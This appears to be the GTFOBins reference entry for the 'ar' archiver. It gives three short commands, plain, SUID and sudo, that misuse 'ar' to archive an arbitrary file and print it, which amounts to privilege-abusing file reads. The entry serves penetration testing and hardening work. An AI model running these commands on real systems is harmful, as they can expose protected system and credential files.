GTFOBins.github.io/_gtfobins/ar.md
2021-01-17 23:40:41 +01:00

503 B

description functions
The file appears amid the binary content of the archive.
file-read suid sudo
code
OUTFILE=$(mktemp -u) LFILE=file_to_read ar r "$OUTFILE" "$LFILE" cat "$OUTFILE"
code
OUTFILE=$(mktemp -u) LFILE=file_to_read ./ar r "$OUTFILE" "$LFILE" cat "$OUTFILE"
code
OUTFILE=$(mktemp -u) LFILE=file_to_read sudo ar r "$OUTFILE" "$LFILE" cat "$OUTFILE"